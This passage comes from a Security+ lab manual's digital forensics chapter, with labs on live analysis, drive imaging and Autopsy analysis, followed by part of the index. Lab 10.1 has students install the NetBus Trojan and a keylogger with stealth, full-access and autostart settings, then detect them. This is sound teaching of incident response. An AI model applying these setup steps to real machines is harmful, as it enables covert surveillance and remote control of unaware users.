Suggested Experiments Have students design their own data backup plan and data rotation scheme for Company XYZ.1.
Have students discuss archive bit(s). Why are they on or off? How can you tell in Windows? 2. How can you tell in Linux?
Reference Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 9
ch09.indd 299 11/17/10 11:34:35 AM
This page intentionally left blank
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10 / Blind Folio 301
Digital Forensics
Labs Lab 10.1 Live Analysis: Incident Determination•
Lab 10.1w Live Analysis: Incident Determination in Windows
Lab 10.1 Analysis Questions
Lab 10.1 Key Terms Quiz
Lab 10.2 Acquiring the Data•
Lab 10.2w Acquiring the Data in Windows
Lab 10.2 Analysis Questions
Lab 10.2 Key Terms Quiz
Lab 10.3 Forensic Analysis•
Lab 10.3w Forensic Analysis in Windows
Lab 10.3 Analysis Questions
Lab 10.3 Key Terms Quiz
Chapter 10
ch10.indd 301 11/17/10 11:36:23 AM
Chapter 10: Digital Forensics302
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
The first step in responding to a potential incident is to gather information and determine if in fact an incident did occur. Even when an
unauthorized event is established, the true scope of the incident is seldom
known. In many cases, some detective work is needed to determine the
scope, extent, and target of the unauthorized event. The analysis of the
data seldom if ever takes place on the actual media that holds it. The
data must be captured without harm to its integrity. Then, tools for
analyzing the captured data are used to create a more precise picture of
what happened and when. The level of detail can be significant. Basic
techniques for incident response, acquiring data, and performing a
forensic analysis are presented in this chapter.
Many tools are freely available to assist in performing incident
response and forensic investigations. One of the best tools available
is the customized distribution of a Linux live CD called the Computer
Aided Investigative Environment (CAINE). CAINE allows you to boot
into a customized Linux environment that includes customized Linux
kernels. CAINE Live CD has amazing hardware detection and a long list
of applications and utilities for incident response and forensics. CAINE
is specially modified so that it does not touch the host computer in any
way, which means it maintains a forensically sound drive. CAINE will not
automount any devices or swap space.
CAINE can also run in a Windows environment. You can run the CD
from the CD-ROM drive while Windows is running and have access to
many tools from the CD. CAINE is an Italian-based distribution and is
available from www.caine-live.net.
The three labs in this chapter use CAINE Live CD version 1.5, Shining.
ch10.indd 302 11/17/10 11:36:24 AM
Lab 10.1: Live Analysis: Incident Determination 303
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Lab 10.1: Live Analysis: Incident Determination One of the first steps you need to take when responding to a potential incident is to gather enough
information to determine if an incident did in fact occur and, if so, what the appropriate steps should
be in response. You do this by conducting a Live Analysis.
The information that is gathered during the Live Analysis should include information that will be
lost once the machine is disconnected from the network or turned off. Capturing this volatile data is
one of the main goals of the Live Analysis.
Volatile data is information such as the running processes, the list of users logged on, and a list of
services, ports, and the states they are in. This information can give you some important clues to aid
in your investigation. Processes that are running are important to capture because malicious software
that is running at the time may not run again upon reboot. Tracing those processes back to the file that
executed them is also important to establish. Once you have the file locations of the offending processes,
you can look at time/date stamps to begin to piece together not only what happened but when.
While it is important to collect the volatile data during the Live Analysis, it is just as important to
do so in as unobtrusive a manner as possible so that you do not disrupt the forensic soundness of the
data. The tools used to conduct the analysis should be run from a known good/clean media such as a
CD-ROM or thumb drive. You never should run utilities from the computer in question because doing
so can pollute the evidence with your actions (sort of like picking up a murder weapon bare-handed
to inspect it). The files on the computer may be booby-trapped. An attacker may leave behind special
versions of cmd.exe or netstat.exe, knowing that those are the tools most likely to be used by people
investigating. The execution of the file may trigger the erasing of logs or the corruption of data.
In this lab, you will have a second drive attached with malicious software on it. You will deploy
NetBus and a keylogger on the target computer. You will then perform a live Live Analysis to detect the
presence of these tools, generate reports, and view them on a different computer.
Learning Objectives At the end of this lab, you’ll be able to
List the volatile information that you need to obtain when performing a Live Analysis.•
List the steps necessary to obtain volatile information using CAINE Live CD.•
Analyze the data from a Live Analysis.•
ch10.indd 303 11/17/10 11:36:24 AM
Chapter 10: Digital Forensics304
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
S 45 minutes
Lab 10.1w: Live Analysis: Incident Determination in Windows
Materials and Setup You will need the following:
Windows 2003 Server•
A second drive attached to the Windows 2003 Server PC•
In addition, you will need
CAINE Live CD or ISO•
Lab Steps at a Glance
Step 1: Log on to the Windows 2003 Server PC.
Step 2: Install and run the NetBus Trojan.
Step 3: Install and configure a keylogger.
Step 4: Start CAINE Live CD and run Live Analysis.
Step 5: Log off from the Windows 2003 Server PC.
Lab Steps
Step 1: Log on to the Windows 2003 Server PC.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Install and run the NetBus Trojan.
Before you get into the steps of performing a Live Analysis, you will put some interesting programs
on the server. You will first install NetBus on the server from the attached drive. You will delete the
installation folder that is created.
ch10.indd 304 11/17/10 11:36:24 AM
Lab 10.1w: Live Analysis: Incident Determination in Windows 305
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
On the Windows 2003 Server PC:
Choose Start | My Computer.1.
Double-click the D: drive (where D: is the attached drive).2.
Double-click nb20pro.3.
On the Welcome screen, click Next.4.
On the Information screen, click Next.5.
On the Choose Destination Location screen, click Browse.6.
Select the C: drive, click OK, and then click Next.7.
On the Select Components screen, click Next.8.
On the Select Program Folder screen, click Next.9.
Clear the check box for the README file.10.
On the Setup Complete screen, click Finish.11.
Choose Start | Programs, right-click the NetBus Pro folder, and select Delete.12.
In the Warning dialog box, click Yes.13.
You are deleting the folder because an attacker that installed the Trojan would not want it to
be so easily detected.
Double-click My Computer.14.
Double-click Local Disk C:.15.
Double-click NBSvr.16.
In the NBServer window, click Settings.17.
In the Server Setup screen:18.
Check the Accept Connections check box.a.
For Visibility of Server, select Only in Task List.b.
For Access Mode, select Full Access.c.
Check Autostart Every Windows Session.d.
Click OK.e.
The NetBus Server program will disappear and begin to run.
Step 3: Install and configure a keylogger.
In Windows Explorer, in the root of the D: drive, double-click Keylog5.exe.1.
When asked for the location, enter 2. C:\Program\Keylogger5 and click Install.
ch10.indd 305 11/18/10 2:51:20 PM
Chapter 10: Digital Forensics306
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
When the installation is complete, the Keylogger 5 Program screen will appear. There are
several tabs at the top for configuration.
Ensure that you are on the Protocol tab.3.
Check the Autostart box. This will allow the keylogger to start automatically after each reboot.a.
In the Logfile Configuration section, click the Change button.b.
In the Save As dialog box, navigate to the C: drive.c.
Click the New Folder button to create a folder named temp.d.
Click Open, and in the File Name text box, type e. Log.txt.
Click Save.f.
Check the Take Screenshot Pictures Every check box.g.
Enter the number h. 1 in the Minutes box. This will set the keylogger to take a screenshot every minute.
In the Logging Engine Status section, click the Start button. Then click OK on the next i. message window.
Close the configuration tool.j.
Close the Utilities window.k.
Step 4: Start CAINE Live CD and run Live Analysis.
You will now run the Windows-based tools on CAINE Live CD and look at some of the utilities that are
available.
In Windows Explorer, navigate to the E: drive.1.
Double-click the Autorun.exe file.2.
In the CAINE window, click WinTaylor.3.
WinTaylor is a collection of free and open source tools that is useful in conducting a forensic
investigation. Notice the five tabs.
Click each tab and look at the listing of utilities.4.
Click The Analysis 1 tab.5.
On the left is a list of all the utilities available for this tab. When you click the name of a
utility, a description of the utility appears on the right.
Which utility will give you a history of USB devices that were connected to the machine?a.
Which utility can be used to recover deleted files?b.
Which utility can be used to look at the recent searches made in a browser?c.
Which utilities look interesting to you?d.
ch10.indd 306 11/17/10 11:36:25 AM
Lab 10.1w: Live Analysis: Incident Determination in Windows 307
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Select System Info, and then click Run It!.6.
Note the information displayed.a.
Under System Summary on the left, click each of the categories and view the b. information. All of the system information is searchable.
Close the System Information utility.7.
Select OpenedFilesView and click Run It!.8.
This utility will display all the files that are currently opened on the system. Scroll down and
look at the listing of the files. You can right-click any file and select Properties to find out
more information about the file.
Scroll down on the list of files until you come to the two log.txt files.9.
Right-click each file and click Properties in the context menu.10.
What are the applications that are accessing these files?a.
Is one of them the keylogger? If so, which?b.
Close the OpenedFilesView utility.11.
Click the Analysis 2 tab.12.
Note that on this tab you can perform a dump of the memory for a more thorough and
detailed analysis. You will not at this time for this particular exercise.
Fport is a useful tool that will show you all the ports that are open and what programs are
accessing them. You will run Fport, but in order to get it to work properly in Windows 2003
Server, you must first tell Windows 2003 Server to run the utility in compatibility mode.
In Windows Explorer, navigate to E:\Programs.13.
Right-click fport.exe and click Properties.14.
Click the Compatibility tab.15.
In the Compatibility Mode section, check the Run This Program in Compatibility Mode For 16. check box, and select Windows XP.
Click OK.17.
On the WinTaylor interface, select Fport and click Run It!.18.
You will see the output on the right. Scroll down to view all of the output.19.
What port number is the NetBus Trojan listening on?
Select TCPView on the right and click Run It!.20.
What is the process ID of the NetBus Trojan?a.
Note that currently, there are no established connections. If there was an established b. connection to the NetBus port, that would indicate that the attacker’s machine is currently
connected, which may lead you to the machine and person perpetrating the attack.
ch10.indd 307 11/17/10 11:36:25 AM
Chapter 10: Digital Forensics308
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
You can now see that the system is infected. From this point, you would recommend a fuller
investigation. This would include capturing an image of the hard drives and then conducting forensic
analysis on the image.
Step 5: Log off from the Windows 2003 Server PC.
On the Windows 2003 Server PC:
Choose Start | Shutdown.1.
At the Shutdown Windows screen, click the drop-down arrow and select Logoff Administrator.2.
Click OK.3.
Lab 10.1 Analysis Questions The following questions apply to the lab in this section:
What is a Live Analysis and what are some of the types of data you will look to acquire?1.
Why is the use of a live CD useful in a Live Analysis?2.
What are some of the tools that come with WinTaylor that can provide useful information 3. during a Live Analysis?
Given the following ports captured from a live response, which entries would you consider 4. suspect and why?
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6666 0.0.0.0:0 LISTENING
TCP 127.0.0.1:445 127.0.0.1:1039 ESTABLISHED
TCP 127.0.0.1:1039 127.0.0.1:445 ESTABLISHED
TCP 192.168.100.102:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:3456 *:*
UDP 0. 0.0.0:27374 *:*
UDP 127.0.0.1:53 *:*
Lab 10.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
forensic soundness
Live Analysis
ch10.indd 308 11/17/10 11:36:25 AM
Lab 10.2: Acquiring the Data 309
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
live CD
volatile data
1. When responding to a potential incident, you would conduct a(n) ____________________ to capture volatile data.
2. When handling evidence or information that may be part of an investigation, preserving _______________ is of paramount importance.
Follow-Up Lab Lab 10.2w: Acquiring the Data in Windows • Now that you have determined there is an incident, you will need to make a forensically sound duplicate for a more thorough analysis.
Suggested Experiments Work with a partner. Have your partner set up one or more of the exploits from Part II on 1. your lab computers, leaving you to do a live analysis investigation on what, if anything, was
done.
There are other tools that can be used for conducting a live initial response. One such tool is 2. Windows Forensic Toolchest (WFT), available from www.foolmoon.net. It is available on the
CD but will need to be updated. Update the program and evaluate output.
References CAINE Live CD• www.caine-live.net
Forensics information•
www.opensourceforensics.org/•
www.e-evidence.info/index.html•
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 23
Windows Forensic Toolchest• www.foolmoon.net/security/wft/
Lab 10.2: Acquiring the Data After establishing that an incident has occurred, the next step to take is to preserve and copy the data
for further analysis. You need to make a copy of the data for several reasons. First, you need to gather
as much relevant information as possible in support of an investigation. Second, the analysis of the
data may result in some modifications, and those modifications should not happen to the original drive.
Lastly, if any misstep occurred and data is accidentally damaged or lost during the analysis, you can still
acquire a new image from the original drive.
To preserve and copy the data properly, you need to make a forensic duplicate of the drive. A
forensic duplicate contains every single bit from the source. It is important to note that forensic copies
ch10.indd 309 11/17/10 11:36:26 AM
Chapter 10: Digital Forensics310
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
are bit-by-bit, not file-by-file, copies. Free space, slack space, deleted files—everything is preserved in a
forensic copy. This forensic duplicate is contained in a file that will be equal in size to its source.
As the data is captured, transported, and handled by potentially different investigators, the
integrity of the data must be maintained. One way this is done is through the use of a digital
fingerprint, also known as a hash. A hash is the unique product of applying an algorithm to a file. If
even one bit is changed in the original file, the hash will look completely different. MD5 and SHA1 are
two popular hashing algorithms.
In this lab, you will prepare a drive to receive an image of a suspect drive. You will use the Grab
utility on CAINE Live CD to make a copy of a suspect drive, verify the copy, and check the MD5 hash.
Learning Objectives At the end of this lab, you’ll be able to
List the reasons for creating a forensic duplicate.•
List the steps required to create a forensically sound duplicate of a drive.•
Use the MD5 hash in establishing the continued soundness of the duplicate.•
S 15 minutes
Lab 10.2w: Acquiring the Data in Windows For this lab, you are treating the server as if it were the forensic computer and the secondary drive is an
attached thumb drive. You would never copy an image onto a computer that is not known to be clean of
malware and forensically sound.
Materials and Setup You will need the following:
Windows 2003 Server with a secondary drive•
CAINE Live CD or ISO•
Lab Steps at a Glance
Step 1: Log on to the Windows 2003 Server PC.
Step 2: Select the drive to make an image.
Step 3: Create the image.
Step 4: Log off from the Windows 2003 Server PC.
ch10.indd 310 11/17/10 11:36:26 AM
Lab 10.2w: Acquiring the Data in Windows 311
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Lab Steps
Step 1: Log on to the Windows 2003 Server PC.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Select the drive to make an image.
Choose Start | My Computer.1.
Navigate to and open the E: drive.2.
Double-click Autorun.exe.3.
On the CAINE screen, click WinTaylor.4.
Click the Analysis 3 tab.5.
Click the FTK Imager button to open the FTK Imager interface. See Figure 10-1.6.
Click the Add Evidence Item icon in the upper-left corner.7.
Choose the Physical Drive and click Next.8.
Select Physical Drive 1 (the 67MB drive) and click Finish.9.
Click the + next to \\PHYSICALDRIVE1 to expand the contents.10.
Expand the contents of All Partitions and the NTFS volume.11.
Browse the contents of the drive.12.
Figure 10-1 FTK Imager interface
ch10.indd 311 11/17/10 11:36:26 AM
Chapter 10: Digital Forensics312
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Step 3: Create the image.
Choose File | Create Disk Image.1.
On the Select Source screen, select Physical Drive and click Next.2.
On the Select Drive screen, select Physical Drive 1.3.
Click Finish.4.
On the Create Image screen, click Add.5.
On the Select Image Type screen, select E01 (which is the Encase Image File Type).6.
On the Evidence Item Information screen, fill in the following:7.
Case Number: 001
Evidence Number: 001
Unique Description: Thumbdrive
Examiner: Yourname Notes: [leave blank]
Click Next.8.
On the Image Destination screen, click Browse.9.
Navigate to the desktop and then click Make New Folder.10.
Name the folder 11. Evidence, select it, and click OK.
In the Image File Name box, type 12. Thumbdrive-01 and click Finish.
On the Create Image screen, check the Create Directory Listing option.13.
Click Start.14.
When the image is complete, you will get a Drive/Image Verify Results display. It will show
you the reported and computed hashes, which should match.
Click Close.15.
Close the FTK Imager.16.
In Windows Explorer, open the evidence folder to check that the image file was created.17.
The image is created and now available for analysis.
Step 4: Log off from the Windows 2003 Server PC.
At the Windows 2003 Server PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
Click OK.3.
ch10.indd 312 11/17/10 11:36:27 AM
Lab 10.2w: Acquiring the Data in Windows 313
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Lab 10.2 Analysis Questions The following questions apply to the lab in this section:
What are the reasons for making a forensic duplicate?1.
Why is it important for the hash values of the captured image to match?2.
Lab 10.2 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
fingerprint
forensic duplicate
hash
MD5
SHA 1
1. To ensure that a copy is digitally identical to an original, a (n)_______________ function is used.
2. A bit-by-bit complete and exact copy of all data is referred to as a (n)________________________.
Follow-Up Lab Lab 10.3: Forensic Analysis • Now that you have learned how to perform a forensic duplication, find out how to do a forensic analysis on it.
Suggested Experiment Boot into the Linux version of CAINE and capture the image over the network using GUY and netcat.
References CAINE Live CD• www.caine-live.net
FTK Imager• www.accessdata.com
MD5 • www.faqs.org/rfcs/rfc1321.html
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 23
ch10.indd 313 11/17/10 11:36:27 AM
Chapter 10: Digital Forensics314
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Lab 10.3: Forensic Analysis Once you have acquired the data, you need to perform a forensic analysis on the image. Forensic
analysis is the process of gathering as much information as possible from the data so as to reconstruct
what happened and to collect evidence in support of an investigation or criminal proceedings.
The forensic analysis will consist of different types of analyses. A time frame analysis is done
to establish a timeline of when files were added, modified, or deleted. This helps in determining the
sequence of events involved in the incident.
Hidden data analysis consists of looking for data that may be hidden using different types of file
extensions, steganography, password protection, or alternative data streams (ADS).
Application and file analysis looks at the type of files as well as the content. You would look at logs
as well as browser history, e-mails, and the like.
The Autopsy Forensic Browser is a graphical interface to the command-line digital forensic analysis
tools in The Sleuth Kit (TSK). Together, TSK and the Autopsy Forensic Browser provide many of the same
features as commercial digital forensics tools for the analysis of Windows and UNIX file systems (NTFS,
FAT, FFS, EXT2FS, and EXT3FS).
In this lab, you will use CAINE Live CD and run the Autopsy Forensic Browser as well as other tools
to perform a forensic analysis. As forensic analyses are targeted activities, they are guided by a set of
objectives. For this lab, the following scenario is presented:
John, a member of the IT team, has been acting strangely ever since he was passed over for
promotion. His boss is concerned that he is thinking about leaving the firm. Another employee claims to
have seen confidential files on his computer. “Weird things” have been occurring on the network such as
crashes and unexplained actions on computers.
A new product release is forthcoming and new product pricing will be released soon. Releasing the
pricing figures prematurely could cause the company to lose a competitive advantage.
A thumb drive was confiscated from John by his manager because the security policy of the company
clearly states that the use of thumb drives is strictly prohibited. The manager believes that John deleted
files just prior to the confiscation.
A forensic duplicate of the contents of the drive has been provided to you. Analyze the drive and
determine if in fact the drive contains unauthorized files and if any illegal activity had taken place.
Learning Objectives At the end of this lab, you’ll be able to
Define forensic analysis.•
Perform a forensic analysis.•
Explain the types of information gathered in a time frame analysis.•
Explain the types of information gathered in a hidden data analysis.•
Explain the types of information gathered in an application and file analysis.•
ch10.indd 314 11/17/10 11:36:27 AM
Lab 10.3w: Forensic Analysis in Windows 315
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
S 60-90 minutes
Lab 10.3w: Forensic Analysis in Windows
Materials and Setup You will need the following:
Windows XP Professional with a secondary drive containing suspect_image•
In addition, you will need
CAINE Live CD or ISO•
Lab Steps at a Glance
Step 1: Start the Windows XP Professional machine using CAINE Live CD.
Step 2: Mount the secondary hard drive with the suspect_image file.
Step 3: Start and configure the Autopsy Forensic Browser.
Step 4: Analyze the image.
Step 5: Log off from the Windows XP Professional PC with CAINE Live CD.
Lab Steps
Step 1: Start the Windows XP Professional machine using CAINE Live CD.
This lab is based on the Windows XP machine having the forensic hard drive, which has an image of
the data found on an infected hard drive. The steps for changing the boot sequence so that the machine
boots from CAINE Live CD varies from system to system. Please check with your instructor for the steps
to boot from CAINE Live CD. See Figure 10-2.
Step 2: Mount the secondary hard drive with the suspect_image file.
Click the Terminal icon in the taskbar.1.
At the command line, type 2. sudo mount /mnt/sdb1 and press enter.
This tells the machine that you would like to have the first partition on the second hard drive
available for reading and writing as the directory /mnt/hdb1.
Type 3. exit and press enter.
ch10.indd 315 11/17/10 11:36:28 AM
Chapter 10: Digital Forensics316
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Step 3: Start and configure the Autopsy Forensic Browser.
Choose Main Menu | Forensic Tools | Autopsy.1.
This will take a minute or so to start up.
In the Autopsy Forensic Browser, click New Case.2.
In the Case Name text box, type 3. Thumbdrive.
In the Description text box, type 4. Evidence Drive.
In the text box for Investigator Names, type your name.5.
Click New Case.6.
On the Creating Case: Thumbdrive screen, select Add Host.7.
In the Host Name text box, type 8. Win2k3.
In the Description text box, type 9. Drive attached to server.
Click Add Host on the bottom of the page.10.
On the Add Image in Thumbdrive:Win2k3 screen, click Add Image.11.
On the Add a New Image screen:12.
In the Location text box, type a. /media/sdb1/Evidence/suspect_image.E01.
For Type, select Disk.b.
For Import Method, make sure the Symlink radio button is selected.c.
Click Next.d.
Figure 10-2 Booting up with CAINE Live CD
ch10.indd 316 11/17/10 11:36:28 AM
Lab 10.3w: Forensic Analysis in Windows 317
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
On the next screen, select Volume Image and click Next.13.
On the File System Details screen, for Mount Point, select C:\.14.
For File System Type, select ntfs and then click Add.15.
On the Next screen, click OK.16.
You will now be able to analyze the image.
Step 4: Analyze the image.
You now have access to some very powerful tools that Autopsy makes available to you. For this step of
the lab exercise, you will not be given detailed instructions. There are numerous options to explore.
Instead, you will be given a summary of the modes, with some hints included so that you can explore
on your own. Click the Help link at the top of the page for more detailed information for each mode.
Analyze • This mode enables you to analyze the file and directory structure of the image. You will be able to see both the files normally listed as well as deleted files. You can also select files
for viewing or exporting. Exporting a file enables you to take a file off the image and analyze
it with other tools.
Hints: Look at the deleted files. What was deleted? Are there any image files?
View the image files and export them.
For each file exported, run the stegdetect command to see if there are any hidden messages
in them (use stegdetect filename).
Keyword Search • This mode allows you to search the image for strings. This search will go through all files including the deleted ones.
Hints: Since sums of money may be involved, do a search for “000” and see what you find. Do a search for the word Confidential.
File Type • This mode allows you to view the files on the image by type.
Hints: Look for any files that may be spreadsheets. Look for executables—what would the presence of netcat suggest?
Step 5: Log off from the Windows XP Professional PC with CAINE Live CD.
To exit from the Windows XP Professional PC with CAINE:
Choose Main Menu | Restart.1.
When prompted to remove the disc, press 2. enter.
ch10.indd 317 11/17/10 11:36:28 AM
Chapter 10: Digital Forensics318
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Lab 10.3 Analysis Questions The following questions apply to the lab in this section:
What is the purpose of a forensic analysis?1.
What kinds of information do you look for in each of the following types of analyses?2.
Time frame analysisa.
Hidden data analysisb.
Application and file analysisc.
What is the command to mount a drive?3.
Lab 10.3 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
alternative data streams (ADS)
application file and analysis
forensic analysis
hidden data analysis
time frame analysis
1. A comparison of events against time to determine order of events is called a(n) ________________________.
2. Analyzing files that were deleted or that used steganographic techniques is called a(n) ________________________.
Suggested Experiments There are many labs that you can try here. Partner up with someone and have them create an 1. image file with various types of information for you to discover. Then, create an image file for
your partner.
ch10.indd 318 11/17/10 11:36:29 AM
Lab 10.3w: Forensic Analysis in Windows 319
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 10
Try using a Windows-based forensic tool such as the AccessData Forensic Toolkit (www 2. .accessdata.com/forensictoolkit.html). Use it with the same image and see how it can help
you analyze an evidence image. Compare using it to using The Sleuth Kit.
References Autopsy Forensic Browser• www.sleuthkit.org/autopsy/
CAINE Live CD• www.caine-live.net
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 23
ch10.indd 319 11/17/10 11:36:29 AM
This page intentionally left blank
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
A ACK bit in TCP packets, 37–38 Acknowledgment Number field in TCP packets, 37 acknowledgment (ACK) packets, 38 acquisition, data. See data acquisition actions in IDS rules, 277 Add/Remove Snap-in dialog box, 176, 245–246, 248 Add Standalone Snap-in dialog box, 176 Add User program, 97 Address Resolution Protocol (ARP)
abnormal replies, 270 ARP poisoning, 150–151, 155–156 network communication analysis, 40, 43–46
Address Resolution Protocol (ARP) caches clearing, 40, 46 contents, 5 MITM attacks, 150, 155–156 viewing, 10–11, 14–15
Address Resolution Protocol (ARP) tables, 5 Linux workstations client configuration, 14–16 Windows workstations client configuration, 10–11
addresses IP. See Internet Protocol (IP) addresses; IPv6
addresses MAC. See Media Access Control (MAC) addresses
Administrator passwords, 113 ADS (alternative data streams), 314 Advanced Encryption Standard (AES), 211 alert.ids file, 274–275 alerts
IDS, 274–276 Snort, 269–270
alternative data streams (ADS), 314 Analyze mode in Autopsy Forensic Browser, 317 anomalous traffic in Snort, 270 antivirus applications, 180–181
analysis questions, 185 follow-up lab, 185 key terms quiz, 185 learning objectives, 181 monitoring, 169 references, 186 suggested experiments, 185 Windows, 181–184
anycast addresses, 27 application analysis, 314
application attacks, 121–122 e-mail system exploits, 132–140 web browser exploits, 127–132 web SQL injection, 122–127
ARP poisoning, 150–151, 155–156 ARP protocol. See Address Resolution Protocol (ARP) arp utility
ARP caches, 40, 46 ARP tables, 10–11, 14–15
asymmetric encryption description, 192 Diffie-Hellman, 208
attachments, e-mail, 132 attacks
applications. See application attacks backups and restores for. See backing up and
restoring data IDS. See intrusion detection system (IDS) MITM. See man-in-the-middle (MITM) attacks overview, 255–256 steganography, 158–164 system log analysis for. See system log analysis Trojan, 142–150
audits failure events, 260 setting up, 257–259 vulnerability, 96
authentication description, 193 IPsec, 247–248 SSH, 208 SSL, 232 tunneling, 243
Automatic Updates feature, 170 Autopsy Forensic Browser
description, 314 starting and configuring, 316–317
B Back Orifice Trojan, 142 backing up and restoring data
analysis questions, 298–299 certificates, 237–238 key terms quiz, 299 learning objectives, 283 Linux, 292–298
Index
Index.indd 321 11/10/10 12:57:27 PM
Index322
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
backing up and restoring data (Continued) overview, 282–283 reference, 299 suggested experiments, 299 Windows, 284–291
backup jobs, 282 backup media, 282 Backup or Restore Wizard dialog box, 286 backup status page, 296 Backup Utility window, 289–291 backuppc application
front end, 295–297 installing, 292–294
Baltimore certificate authority, 232 banners
service, 87 SMTP, 92
Blowfish algorithm, 220 bodies in IDS rules, 277 brute-force attacks, 113
C caches, ARP
clearing, 40, 46 contents, 5 MITM attacks, 150, 155–156 viewing, 10–11, 14–15
caches, DNS, 19 CAINE (Computer Aided Investigative Environment). See Live Analysis
calling program type in messages, 263 Camouflage program
creating and hiding messages, 160–161 installing, 159–160
Capture Interfaces dialog box, 40–41 capturing sessions
DNS, 44–45 FTP, 154–155 ping, 40–42 SSH, 211–213, 215–217, 223–225, 228–230, 249–250 Telnet, 46
cat command, 13 certificate authorities
creating, 235–236 description, 232 viewing, 235
Certificate Manager, 235 certificate signing requests
creating, 236–237 signing, 237
certificates and SSL analysis questions, 241–242 backing up and installing, 237–238 key terms quiz, 242 learning objectives, 233 Linux, 234–241 overview, 232–233 reference, 242 viewing, 235
chains of firewall rules, 187 Checksum field
TCP packets, 38 UDP packets, 45
ciphertext, 192 clearing ARP caches, 40, 46 client configuration for workstations, 5–6
learning objectives, 6 Linux, 11–16 Windows, 6–11
client-side attacks, 127, 130 clients
NetBus, 142 Outlook Express, 195–196, 198–199 SCP, 222–223, 227–228 SSH, 210–211 Trojans, 143
command line, e-mail from, 73–74, 77–78, 135–137 commands, information for, 12–13 Common Vulnerabilities and Exposures (CVE) database
description, 103 searching, 105–106
Computer Aided Investigative Environment (CAINE). See Live Analysis
computer name resolution, 19 analysis questions, 24 follow-up labs, 25 hosts file, 21–22 key terms quiz, 25 learning objectives, 19 references, 26 suggested experiment, 25 Windows, 20–26
computers, scanning, 97–98, 100 Confirm Folder Delete dialog box, 137 Confirm Name/Location dialog box, 289 Connect to Win2k3serv dialog box, 285 connection-oriented protocols, 36 connectionless transport protocols, 36 Control Bits field in TCP packets, 37 cracking programs. See password cracking CVE (Common Vulnerabilities and Exposures) database
description, 103 searching, 105–106
Index.indd 322 11/10/10 12:57:27 PM
Index 323
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
D data acquisition
analysis questions, 313 follow-up lab, 313 key terms quiz, 313 overview, 309–310 references, 313 suggested experiment, 313 Windows, 310–312
data command in SMTP, 73, 78 Data Encryption Standard (DES), 211 Data Offset field in TCP packets, 37 Data view section in Wireshark, 42 databases
CVE, 103, 105–106 signature, 180–181 SQL, 122
decrypting messages, 204–205 default.htm file, 62 deleting files, 288–289 deploying
malware, 184 Trojans, 146–148
DES (Data Encryption Standard), 211 Destination column in Wireshark, 42 destination MAC addresses, 156 Destination Port field
TCP packets, 37 UDP packets, 44
detection engine in Snort, 270, 276–277 DHCP (Dynamic Host Configuration Protocol), 7 dictionary attacks, 113 differential backups
configuring and running, 288 description, 283 restoring, 290–291
Diffie-Hellman protocol asymmetric encryption, 208 SCP, 220
digital certificates, 232 digital fingerprints, 310 digital forensics
data acquisition, 309–313 forensic analysis. See forensic analysis incident determination, 303–309 overview, 301–302
directory traversal attacks, 273–276, 278 distributed password-cracking programs, 113 Domain Name System (DNS)
caches, 19 computer name resolution, 19 servers, 5
